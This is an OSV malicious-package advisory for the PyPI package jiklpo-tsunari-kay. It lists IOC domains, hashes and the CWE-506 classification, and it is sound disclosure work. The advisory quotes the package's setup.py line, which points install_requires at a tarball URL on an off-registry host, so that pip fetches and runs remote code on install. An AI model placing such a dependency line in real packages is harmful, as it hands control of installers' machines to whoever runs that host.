MAL-2026-18113

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Import Source
https://github.com/ossf/malicious-packages/blob/main/osv/malicious/pypi/jiklpo-tsunari-kay/MAL-2026-18113.json
JSON Data
https://api.osv.dev/v1/vulns/MAL-2026-18113
Published
2026-10-20T20:53:18Z
Modified
2026-11-03T21:15:03Z
Summary
Malicious code in jiklpo-tsunari-kay (PyPI)
Details

-= Per source details. Do not edit below this line.=-

Source: amazon-inspector (c2df8ddef194a109b65d938d86371d9e97c84ea4c8863af380fb495508ce5a90)

setup.py declares install_requires=["object-handle-logger-table @ https://artifacts.yosiroute.com/pypi/object_handle_logger_table-1.0.0.tar.gz"], resolving a dependency to a direct tarball URL on a non-registry host instead of a pinned PyPI version. On pip install, the installer fetches and executes whatever bytes that URL returns, including any setup.py / build-backend code inside the tarball. There is no version pin and no hash or integrity check, so whoever controls artifacts.yosiroute.com controls code executed on the installer's machine. The shipped module itself is a two-line stub; the off-registry URL dependency is the package's entire install-time effect.

Source: kam193 (82ef4d01da7de20aa2e477bb07e1daa97855cdf33d186579da5cf148e3d4be0e)

The package uses fake http-downloaded dependencies to track downloads, and has no other purpose.

Category: PROBABLY_PENTEST - Packages looking like typical pentest packages, but also anything that looks like testing, exploring pre-prepared kits, research & co, with clearly low-harm possibilities.

Campaign: 2026-10-vacsdk

Reasons (based on the campaign):

  • dependency-confusion
Database specific 
{
    "iocs": {
        "domains": [
            "artifacts.vacsdk.com",
            "vacsdk.com",
            "artifacts.yosiroute.com"
        ]
    },
    "malicious-packages-origins": [
        {
            "id": "pypi/2026-10-vacsdk/jiklpo-tsunari-kay",
            "import_time": "2026-10-20T21:40:17.575108675Z",
            "modified_time": "2026-10-20T20:53:18.588959Z",
            "sha256": "82ef4d01da7de20aa2e477bb07e1daa97855cdf33d186579da5cf148e3d4be0e",
            "source": "kam193",
            "versions": [
                "1.0.0"
            ]
        },
        {
            "id": "IN-MAL-2026-021873",
            "import_time": "2026-10-29T13:37:14.338593401Z",
            "modified_time": "2026-10-29T13:19:11Z",
            "sha256": "c2df8ddef194a109b65d938d86371d9e97c84ea4c8863af380fb495508ce5a90",
            "source": "amazon-inspector",
            "versions": [
                "1.0.0"
            ]
        },
        {
            "id": "pypi/2026-10-vacsdk/jiklpo-tsunari-kay",
            "import_time": "2026-11-03T21:11:41.888943834Z",
            "modified_time": "2026-10-20T20:53:18.588959Z",
            "sha256": "17df75a58c1d7e09ae1ac763daeb39c9f1de177b1fc598cb5026e3b3c88938e0",
            "source": "kam193",
            "versions": [
                "1.0.0"
            ]
        }
    ]
}
References
Credits

Affected packages

PyPI / jiklpo-tsunari-kay

Package

Name
jiklpo-tsunari-kay
View open source insights on deps.dev
Purl
pkg:pypi/jiklpo-tsunari-kay

Affected ranges

Affected versions

1.*
1.0.0

Database specific

cwes 
[
    {
        "cweId": "CWE-506",
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code"
    }
]
indicators 
{
    "evidence_files": [
        {
            "path": "setup.py",
            "sha256": "ac4f177547cfda2f5a35296f1cccde217e64997336a9185393ec9c0e26b0aee9",
            "tlsh": "f7d0978b875f50a261a1cf5a1e438044e911d22f1f68a1ec38cdd3c60f850590f6972e"
        }
    ],
    "package_integrity": [
        {
            "filename": "jiklpo_tsunari_kay-1.0.0.tar.gz",
            "hashes": {
                "blake2b_256": "58658a36ee7faf2710a0dcfb78c82dcff44cfc3474736658d15510f9d605f687",
                "md5": "60c90d7029bc43657dda8babdc62c503",
                "sha256": "7f32bba2309b84b2b78b64c610252c46f791f4f336a9ce2ae171d5da432711a7"
            }
        }
    ]
}
source 
"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/pypi/jiklpo-tsunari-kay/MAL-2026-18113.json"